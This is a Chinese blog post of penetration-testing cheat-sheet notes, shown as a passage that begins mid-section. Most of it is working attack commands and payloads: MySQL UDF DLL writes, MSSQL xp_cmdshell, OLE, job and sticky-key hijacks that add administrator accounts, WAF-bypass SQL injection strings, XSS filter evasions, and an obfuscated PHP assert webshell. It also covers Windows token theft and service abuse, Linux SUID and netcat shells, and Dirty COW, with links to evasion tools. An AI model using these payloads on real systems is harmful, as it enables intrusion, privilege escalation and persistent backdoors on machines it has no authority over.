update temp set data = concat(data,0x33c2ede077a383b377a383b377a383b369f110b375a383b369f100b37da383b369f107b375a383b35065f8b374a383b377a382b35ba383b369f10ab376a383b369f116b375a383b369f111b376a383b369f112b376a383b35269636877a383b300000000000000000000000000000000504500006486060070b1834b00000000);
select data from temp into dumpfile "G:\\phpstudy_pro\\Extensions\\MySQL5.7.26\\lib\\plugin\\udf.dll";
create function sys_eval returns string soname 'udf.dll';   #创建函数sys_eval
4.使用系统命令,(在将 udf.dll 文件写入plugin目录后,我们就可以使用 sys_eval 函数了。)
msf进行udf提权
如果得到了数据库的用户名和密码,并且可以远程连接的话,可以使用MSF里面的exploit/multi/mysql/mysql_udf_payload
sqlmap写入木马
sqlmap -u "http://192.168.10.130/?id=2" --file-write msf.exe --file-dest "C:\phpStudy\PHPTutorial\MySQL\data\hack.exe"


mssql提权
1.使用xp_cmdshell提权
xp_cmdshell默认在mssql2000中是开启的,在mssql2005以后的版本是默认禁止的,如果拥有管理员sa权限则可以用sp_configure开启它
开启xp_cmdshell
exec sp_configure 'show advanced options', 1;reconfigure;
exec sp_configure 'xp_cmdshell',1;reconfigure;
关闭xp_cmdshell
exec sp_configure 'show advanced options', 1;reconfigure;
exec sp_configure 'xp_cmdshell', 0;reconfigure
在sql命令处执行
exec xp_cmdshell 'net user aaa aaa /add && net localgroup administrators aaa /add' 就能成功的创建一个账户aaa并且加到管理员组:

2.sp_oacreate和sp_oamethod提权
开启sp_oacreate:
exec sp_configure 'show advanced options',1;reconfigure;
exec sp_configure 'ole automation procedures',1;recofigure;
关闭sp_oacreate:
exec sp_configure 'show advanced options',1;reconfigure;
exec sp_configure 'ole automation procedures',0;reconfigure;
exec sp_configure 'show advanced options',0;reconfigure;
执行sql命令添加hack用户
declare @cmd INT;
exec sp_oacreate 'wscript.shell',@cmd output;
exec sp_oamethod @cmd,'run',null,'net user hack hack /add','0','true';
exec sp_oacreate 'wscript.shell',@cmd output;
exec sp_oamethod @cmd,'run',null,'net localgroup administrators hack /add','0','true';

3.沙盒提权
这种提权是利用access的沙盒机制,关闭沙盒之后执行代码。
SQL2005默认是禁用Ad Hoc Distributed,开启命令
exec sp_configure 'show advanced options',1 ;reconfigure ;
exec sp_configure 'Ad Hoc Distributed Queries',1 ;reconfigure;
首先用xp_regwrite这个存储这个存储过程对注册表进行写操作,关闭沙盒模式:
EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0
利用sql语句添加一个帐号和密码都为sql$的帐号,同时加入管理员组进行提权:
创建账户:Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user sql$ 123 /add")');
添加到管理员组:Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net localgroup administrators sql$ /add")');

4.JOB提权
原理是创建一个任务x,并执行命令,命令执行后的结果,将返回给文档q.txt
启动sqlagent服务:
exec master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT'
然后创建任务X,这里x为任务名称,并执行命令,命令执行后的结果,将返回给文本文档q.txt
use msdb
exec sp_delete_job null,'x'
exec sp_add_job 'x'
exec sp_add_jobstep null,'x',null,'1','cmdexec','cmd /c "net user hack1 hack1 /add &net localgroup administrators hack1 /add>c:/q.txt"'
exec sp_add_jobserver null,'x',@@servername
exec sp_start_job 'x';
已经创建了一个hack1的账户并加到了管理员组:

5.利用映像劫持提权
利用regwrite函数修改注册表,起到劫持作用:
EXEC master..xp_regwrite @rootkey='HKEY_LOCAL_MACHINE',@key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.EXE',@value_name='Debugger',@type='REG_SZ',@value='c:\windows\system32\cmd.exe'
然后检查是否劫持成功
exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','Debugger'
返回没有问题 利用远程连接然后5次shift键,发现没有启动粘滞键,而是启动了cmd,然后就可以创建用户了


oracle提权(jsp网站默认system)
普通用户提权到dba(工具一键提权)
https://github.com/jas502n/oracleShell

redis提权
1.计划任务反弹 Shell
在 Redis 以 root 权限运行时可以写 crontab 来执行命令反弹 shell
默认编写的 crontab 文件会保存在 (/var/spool/cron/ 用户名 例如: /var/spool/cron/root
crontab -l 列出某个用户 cron 服务的详细内容
crontab -r 删除每个用户 cront 任务 (谨慎:删除所有的计划任务)
crontab -e 使用编辑器编辑当前的 crontab 文件
2.写 ssh-key 公钥获取权限
Redis 服务使用 ROOT 账号启动
服务器开放了 SSH 服务,而且允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器。
3.Web 目录写 Shell
当 redis 权限不高且服务器开着 web 服务
redis 有 web 目录写权限
可以尝试往 web 路径写 webshell




mysql文件读写
mysql
1.load_file()
两个前提:
1.在拥有file权限的前提下
2.secure_file_priv不为NULL
举例  select load_file("/etc/passwd")
 写入select load_file("/etc/passwd") into outfile "/tmp/passwd";


waf绕过
一、web容器特性
(1)iis+asp 上 使用%
http://zkaq666.com/1.asp?id=1 union se%lect 1,2,3,4 fro%m adm%in
(2)IIS支持Unicode编码字符的解析
http://zkaq666.com/1.asp?id=1 union all %u0053elect 1,2,3,4, %u0066rom admin
(3)http参数污染
在HTTP协议中是允许同样名称的参数出现多次的。例如:http://zkaq666.com/1.asp?id=123&id=456 这个请求根据WAF的不同,一般会同时分开检查 id=123 和 id=456 ,
也有的仅可能取其中一个进行检测。但是对于 IIS+ASP/ASP.NET来说,它最终获取到的ID参数的值是123,空格456(asp)或123,456(asp.net)。
id=union+select+password/&id=/from+admin来逃避对 select * from 的检测。因为HPP特性,id的参数值最终会变为:union select password/,/from admin()
(4)畸形HTTP请求
当向Web服务器发送畸形的,非RFC2616标准的HTTP请求时, Web服务器出于兼容的目的,会尽可能解析畸形HTTP请求。而如果Web服务器的兼容方式与WAF不一致,则可能会出现绕过的情况。如该POST为PAXX
二、web层缺陷
(1)多重编码
如果Web应用程序能够接收多重编码的数据,而WAF只能解码一层(或少于WEB应用程序能接收的层数)时,WAF会 因为解码不完全导致防御机制被绕过。
三、waf自身的缺陷
(1)白名单机制
%00截断 将 %00 进行URL解码 如果WAF对获取到的数据存储和处理不当,那么 %00 解码后会将后面的数据截断,造成后面的数据没有经过检测。
http://www.test.com/1.jsp?id=1/*%00*/ union select 1,2,3
url解码 %00为 null    
解析:*WAF在获取到参数id的值并解码后,参数值将被截断成 1/ ,后面的攻击语句将没有被WAF拿去进行检测。
(2)&字符处理      %26 是 & 字符
http://www.test.com/1.jsp?par1=1+union+/*%26x=1*/ select/*%26x2=1*/1,2,3+from+admin
waf会将上传的参数分解成3部分:
par1=1+union+/*
x=1*/+select/*
×2=1*/1,2,3,4,5+from+Admin
如果将这3个参数分别进行检测,某些WAF是匹配不到攻击特征的。
(3)数据清洗不恰当
攻击者提交的参数值中存在大量干扰数据时,如大量空格、TAB、换行、%0c、注释等,WAF需要对其进行清 洗,筛选出真实的攻击数据进行检测,以提高检查性能,节省资源。
如果WAF对数据的清洗不恰当,会导致真实的攻击数据被清洗,剩余的数据无法被检测出攻击行为。

常用waf绕过方法   (%23为# %0A为换行 %20空格)
(1)union%23a%0Aselect     隔离union和select
(2)union/*%00*/%23a%0A/*!/*!select 1,2,3*/;%23
(3)id=-1 union/*%00*/%23a%0A/*!/*!select%201,database%23x%0A(),3*/;%23
(4)id=-1%20union%20/*!44509select*/%201,2,3%23
(5)id=-1%20union%20/*!44509select*/%201,%23x%0A/*!database*/(),3%23
(6)id=1/**&id=-1%20union%20select%201,2,3%23*/
(7)id=-1%20union%20all%23%0a%20select%201,2,3%23
(8)id=-1 %20union%20all%23%0a%20select%201,%230%0Adatabase/**/(),3%23



XSS攻击全称跨站脚本攻击,恶意攻击者在web页面中会插入一些恶意的script代码。当用户浏览该页面的时候,那么嵌入到web页面中script代码会执行,因此会达到恶意攻击用户的目的
反射型·xss 储存型xss  dom型xss
XSS攻击的危害包括
1、盗取各类用户帐号,如机器登录帐号、用户网银帐号、各类管理员帐号
2、控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力
3、盗窃企业重要的具有商业价值的资料
4、非法转账
5、强制发送电子邮件
6、网站挂马
7、控制受害者机器向其它网站发起攻击
绕过httponly
浏览器未保存密码:需要xss产生登录地址,利用表单劫持
浏览器保存账户密码:产生在后台的xss,储存型xss,浏览器读取 账户密码
绕过
<被禁用 使用onclick点击
on、<script被过滤  使用<a href='javascript:alert('XSS')'>
on、script、data、src、href被过滤 使用大小双写绕过
utf-8编码绕过
waf绕过
特殊符号干扰:使用单引号 或者填充字符+/+#
标签语法替代
提交方式更改
垃圾数据溢出
加密解密算法
防御
XSS防御的总体思路是:对输入(和URL参数)进行过滤,对输出进行编码。


php反序列化
原理:未对用户输入的序列化字符进行检测,导致攻击者可以控制反序列化过程,从而导致代码执行,sql注入,目录遍历等不可控后果
在反序列化过程中自动触发某些魔术方法。当进行反序列化的时候可能会触发对象中的一些魔术方法
serialize() 将对象转化为字符串
unserialize()将字符串转化为对象
触发:unserialize函数的变量可控,文件中存在可用的类,类有魔术方法(魔术函数):
常见的PHP魔术方法:
__construct: 在创建对
__construct: 在创建对象时候初始化对象,一般用于对变量赋初值。
__destruct: 和构造函数相反,当对象所在函数调用完毕后执行。
__toString:当对象被当做一个字符串使用时调用。
__sleep:序列化对象之前就调用此方法(其返回需要一个数组)
__wakeup:反序列化恢复对象之前调用该方法
__call:当调用对象中不存在的方法会自动调用该方法。
__get:在调用私有属性的时候会自动执行
__isset()在不可访问的属性上调用isset()或empty()触发
__unset()在不可访问的属性上使用unset()时触发

java反序列化
Java 中对象的序列化就是将对象转换成二进制序列,反序列化则是将二进制序列转换成对象。
java中的api实现
位置: java.io.ObjectOutputStream      java.io.ObjectintputStream
序列化:ObjectOutputStream--->writeObject()
注:该方法对参数obj对象进行序列化,把序列化写到一个目标输出流中,按java的标准约定给文件一个.ser扩展名
反序列化:ObjectInputStream--->readObject()
注:该方法从一个源输入流读取字节序列,再将他们反序列化为一个对象,并将其返回

ObjectOutputStream 类中:通过使用 writeObject(Object object) 方法,将对象以二进制格式进行写入。
ObjectInputStream 类中:通过使用 readObject()方法,从输入流中读取二进制流,转换成对象。


绕过waf三个方面
延时
数据包特征值指纹
代理池
免费代理池 https://github.com/jhao104/proxy_pool
付费代理池 快代理  https://www.kuaidaili.com/

代码层
加密混淆
变量覆盖
异或生成

(以参数的方式进行传递)
举例
<?php
$a=$_GET['x']
$$a=$_GET['y']
$b(base64_decode($_POST['z']));
//?x=b&y=assert
//$a=b   $$a=assert=$b  assert($_POST['z'])
//assert($_POST['z']);
?>

http://test.com?x=b&y=assert
z=cGhwaW5mbygpOw==

php加密工具
https://github.com/djunny/enphp
免杀木马工具
https://github.com/yzddmr6/webshell-venom/releases



windows提权工具
https://github.com/ianxtianxt/win-exp-
https://github.com/chroblert/WindowsVulnScan
https://github.com/bitsadmin/wesng


一、BypassUAC

参考地址 https://mp.weixin.qq.com/s/5Vlg6XsPMZx_xx7THBTBvQ
UAC(UserAccount Control,用户账户控制)简言之就是在Vista及更高版本中通过弹框进一步让用户确认是否授权当前可执行文件来达到阻止恶意程序的目的。
为了远程执行目标的exe或者bat可执行文件绕过此安全机制,以此叫BypassUAC(不进行弹窗直接运行执行文件)
CompMgmtLauncher.exe该程序启动时,会查询注册表Software\\classes\\mscfile\\shell\\open\\command的内容,并执行。通过代码改写注册表绕过

 

 

 


Kerberos协议
 - 客户端向认证服务器AS发送请求,要求得到服务器的证书
 - AS收到请求后,将包含客户端密钥的加密证书响应发送给客户端,该证书包括服务器ticket(包括服务器密钥加密的客户机身份和一份会话密钥)和一个临时加密密钥(又称会话密钥,session key)当然,认证服务器也会给服务器发送一份该证书,用来使服务器认证登陆客户端的身份
 - 客户端将ticket传送到服务器上,服务器确认该客户端的话,便允许它登陆服务器
 - 客户端登陆成功后,攻击者就可以通过入侵服务器获取客户端的令牌
令牌窃取(windows2008以上很难成功)
use incognito
list_tokens -u
incognito_token 目标主机名和登陆用户名



二、烂土豆配合令牌提权    rottenpotato
地址:https://github.com/foxglovesec/RottenPotato
上传烂土豆--执行烂土豆--利用窃取模块--窃取system成功
use incognito  //枚举有哪些用户的进程,一般有用户和system用户
list_tokens -u
execute -cH -f ./rottenpotato.exe  //上传rottenpotato.exe并执行提权
impersonate_token “NT AUTHORITY\\SYSTEM”
net localgrouop Administrator hack /add  添加hack用户


三、dll劫持提权
原理:windows程序启动需要dll,如果这些dll不存在,则可以通过在应用程序中查找的位置防止恶意的dll来提权
DLL注入是一种允许攻击者在另一个进程的地址空间的上下文中运行任意代码的技术。如果某进程以过多的权限运行,
那么可以会被攻击者加以利用,以DLL文件的形式执行恶意代码以提升权限
信息收集 寻找软件第三方dll  
火绒剑等工具分析软件进程 dll文件
msfvenom生成dll恶意文件,替换文件
msf监听
令牌窃取
或者个人开发dll文件

四、不带引号的服务路径提权
原理:当系统管理员配置Windows服务时,他们必须指定要执行的命令,或者运行可执行文件的路径。
当Windows服务运行时,会发生以下两种情况之一。如果给出了可执行文件,并且引用了完整路径,则系统会按字面解释它并执行。但是,如果服务的二进制路径未包含在引号中,则操作系统将会执行找到的空格分隔的服务路径的第一个实例。
使用以下命令查看系统中错误配置的路径
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """
检测系统服务
制作exe木马 放置目录下
sc start "服务名"  启动服务
参考文章https://blog.csdn.net/weixin_44032232/article/details/109073666

五、不安全的服务权限进行提权
原理:由于管理配置错误,用户可能对服务拥有过多权限,重定向服务的可执行文件获取权限
工具地址: https://docs.microsoft.com/zh-cn/sysinternals/downloads/accesschk
参考文章 https://blog.csdn.net/yangbz123/article/details/116905721
使用微软软件AccessChk进行权限查询
执行命令
accesschk.exe -uwqs "administrators"   检测权限
sc config "服务名" binpath= "C:\Program Files\xx\xx.exe"    重定向服务执行文件
sc start "服务名"  启动服务

linux提权
信息收集
https://github.com/rebootuser/LinEnum
https://github.com/sleventyeleven/linuxprivchecker
漏洞探针
https://github.com/mzet-/linux-exploit-suggester
https://github.com/jondonas/linux-exploit-suggester-2
一、suid提权
设置了SUID的文件可以让调用者在调用该文件时以文件拥有者的身份运行该文件,所以利用SUID提权的原理就是运行拥有者为root并设置了SUID的文件,
那么我们运行该文件的时候就得获得root用户的身份了,如果此时可以输入命令,就可以打开一个用户身份为root的shell。
1.查找设置了SUID的文件
find / -perm -u=s -type f 2>/dev/null    #在根目录下查找设置所有设置了SUID的文件
2.举例  /usr/bin/find为SUID的文件,使用/usr/bin/find提权
ls -l /usr/bin/find
返回结果中显示/usr/bin/find的拥有者为root,拥有者对该文件的权限为rws,s 表示该文件设置了SUID。
touch getflag
find getflag -exec "/bin/sh" \;       使用find打开一个shell
其中getflag是当前目录下存在的文件,如不存在可以先创建一个,也可以find其他文件夹的文件,但find的文件必须存在,否则命令无法执行。
或者
find getflag -exec netcat -lvvp 5555 -e /bin/sh \;
netcat xxxxxxxx  5555
二、内核漏洞
使用脚本扫描 https://github.com/mzet-/linux-exploit-suggester
gcc  1111.c -o 45010
chmod 777 1111
./1111
id
python -c 'import pty; pty.spawn("/bin/bash")'   获取交互式命令
三、脏牛提权(修改新密码)
原理:
linux内核的子系统在处理写入时复制至产生了竞争条件,恶意用户可利用此漏洞来获取高权限,对只读内存映射进行访问。
地址  https://github.com/FireFart/dirtycow
gcc -pthread dirty.c -o dirty -lcrypt
 ./dirty my-new-password
创建了一个firefart用户
四、本地环境变量提权
参考文章https://www.cnblogs.com/lnterpreter/p/14144119.html
配合suid进行环境变量提权
手写调用文件--编译--复制文件--添加环境变量--执行触发
gcc demo.c -o shell
cp /bin/sh     /tmp/ps
exploit PATH=/tmp:$PATH
./shell
id
五、定时任务提权
cat /etc/crontab
六、数据库提权配合suid提权
udf提权成功后执行  举例调用的do_sysytem
select do_sysytem('chmod u+s /usr/bin/find');
配合find调用执行
touch getflag
find getflag -exec "/bin/sh" \;       使用find打开一个shell


参考学习
https://blog.csdn.net/hackzkaq/article/details/112868185
https://www.tqwba.com/x_d/jishu/12663.html
https://blog.csdn.net/qq_45836474/article/details/107248010
https://www.bilibili.com/video/BV1JZ4y1c7ro?p=17&spm_id_from=pageDriver
https://blog.csdn.net/weixin_44032232/article/details/109073666
https://blog.csdn.net/yangbz123/article/details/116905721

posted @ 2021-07-14 15:13  bingtanghulu  阅读(570)  评论(0编辑  收藏  举报